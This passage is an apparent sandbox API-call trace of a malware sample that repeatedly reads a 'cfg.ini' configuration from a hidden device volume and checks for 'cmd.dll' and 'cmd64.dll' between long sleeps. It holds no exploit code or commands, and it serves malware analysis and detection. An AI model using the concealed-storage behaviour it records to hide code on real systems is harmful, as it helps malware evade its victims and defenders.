Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.027] IdePortDispatch () returned 0x103 [0129.027] KeWaitForMutexObject () returned 0x0 [0129.027] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.027] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.027] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.027] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.027] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.027] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01470 [0129.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.027] KeLeaveCriticalRegion () [0129.027] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.027] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.027] KeEnterCriticalRegion () [0129.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.027] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.027] KeLeaveCriticalRegion () [0129.027] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.027] KeEnterCriticalRegion () [0129.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.027] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.027] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.027] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.027] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.027] IdePortDispatch () returned 0x103 [0129.027] KeWaitForMutexObject () returned 0x0 [0129.028] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.028] KeLeaveCriticalRegion () [0129.028] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.028] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.028] KeEnterCriticalRegion () [0129.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.028] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b85000 [0129.028] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.028] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.028] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.028] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.028] IdePortDispatch () returned 0x103 [0129.028] KeWaitForMutexObject () returned 0x0 [0129.028] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.028] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.028] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.028] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.028] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.028] IdePortDispatch () returned 0x103 [0129.028] KeWaitForMutexObject () returned 0x0 [0129.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.029] KeLeaveCriticalRegion () [0129.029] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.029] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.029] KeEnterCriticalRegion () [0129.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.029] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.029] KeLeaveCriticalRegion () [0129.029] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.029] KeEnterCriticalRegion () [0129.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.029] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.029] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02320, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.029] KeLeaveCriticalRegion () [0129.029] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.029] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.029] KeEnterCriticalRegion () [0129.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.029] ExFreePoolWithTag (P=0xfffffa8003c01470, Tag=0x0) [0129.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.030] KeLeaveCriticalRegion () [0129.030] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.030] ReleaseMutex (hMutex=0xf0) returned 1 [0129.030] Sleep (dwMilliseconds=0x124f80) [0129.045] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.045] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.045] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.045] KeEnterCriticalRegion () [0129.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.045] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.045] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.045] IdePortDispatch () returned 0x103 [0129.045] KeWaitForMutexObject () returned 0x0 [0129.046] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.046] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.046] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.046] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.046] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.046] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03fb0 [0129.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.046] KeLeaveCriticalRegion () [0129.046] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.046] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.046] KeEnterCriticalRegion () [0129.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.046] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.046] KeLeaveCriticalRegion () [0129.046] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.046] KeEnterCriticalRegion () [0129.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.046] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.046] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.046] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.046] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.046] IdePortDispatch () returned 0x103 [0129.046] KeWaitForMutexObject () returned 0x0 [0129.046] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.046] KeLeaveCriticalRegion () [0129.046] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.046] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.047] KeEnterCriticalRegion () [0129.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.047] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8a000 [0129.047] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.047] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.047] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.047] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.047] IdePortDispatch () returned 0x103 [0129.047] KeWaitForMutexObject () returned 0x0 [0129.047] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.047] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.047] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.047] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.047] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.047] IdePortDispatch () returned 0x103 [0129.047] KeWaitForMutexObject () returned 0x0 [0129.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.047] KeLeaveCriticalRegion () [0129.047] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.048] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.048] KeEnterCriticalRegion () [0129.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.048] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.048] KeLeaveCriticalRegion () [0129.048] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.048] KeEnterCriticalRegion () [0129.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.048] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.048] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.048] KeLeaveCriticalRegion () [0129.048] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.048] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.048] KeEnterCriticalRegion () [0129.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.048] ExFreePoolWithTag (P=0xfffffa8003c03fb0, Tag=0x0) [0129.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.048] KeLeaveCriticalRegion () [0129.048] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.048] ReleaseMutex (hMutex=0xf0) returned 1 [0129.048] Sleep (dwMilliseconds=0x124f80) [0129.064] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.064] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.064] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.064] KeEnterCriticalRegion () [0129.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.064] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.064] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.064] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.064] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.064] IdePortDispatch () returned 0x103 [0129.064] KeWaitForMutexObject () returned 0x0 [0129.064] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.064] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.064] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.064] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.064] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.064] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7f00 [0129.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.064] KeLeaveCriticalRegion () [0129.064] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.064] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.064] KeEnterCriticalRegion () [0129.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.064] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.064] KeLeaveCriticalRegion () [0129.065] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.065] KeEnterCriticalRegion () [0129.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.065] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.065] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.065] IdePortDispatch () returned 0x103 [0129.065] KeWaitForMutexObject () returned 0x0 [0129.065] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.065] KeLeaveCriticalRegion () [0129.065] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.065] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.065] KeEnterCriticalRegion () [0129.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.065] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8f000 [0129.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.065] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.065] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.065] IdePortDispatch () returned 0x103 [0129.065] KeWaitForMutexObject () returned 0x0 [0129.065] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.066] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.066] IdePortDispatch () returned 0x103 [0129.066] KeWaitForMutexObject () returned 0x0 [0129.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.066] KeLeaveCriticalRegion () [0129.066] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.066] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.066] KeEnterCriticalRegion () [0129.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.067] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.067] KeLeaveCriticalRegion () [0129.067] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.067] KeEnterCriticalRegion () [0129.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.067] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.067] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7c20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.067] KeLeaveCriticalRegion () [0129.067] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.067] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.067] KeEnterCriticalRegion () [0129.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.067] ExFreePoolWithTag (P=0xfffffa800c4f7f00, Tag=0x0) [0129.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.067] KeLeaveCriticalRegion () [0129.067] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.067] ReleaseMutex (hMutex=0xf0) returned 1 [0129.067] Sleep (dwMilliseconds=0x124f80) [0129.082] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.082] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.082] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.082] KeEnterCriticalRegion () [0129.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.083] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.083] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.083] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.083] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.083] IdePortDispatch () returned 0x103 [0129.083] KeWaitForMutexObject () returned 0x0 [0129.083] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.083] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.083] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.083] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.083] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.083] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03c50 [0129.083] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.083] KeLeaveCriticalRegion () [0129.083] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.083] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.083] KeEnterCriticalRegion () [0129.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.083] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.083] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.083] KeLeaveCriticalRegion () [0129.083] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.083] KeEnterCriticalRegion () [0129.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.083] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.083] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.084] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.084] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.084] IdePortDispatch () returned 0x103 [0129.084] KeWaitForMutexObject () returned 0x0 [0129.084] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.084] KeLeaveCriticalRegion () [0129.084] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) 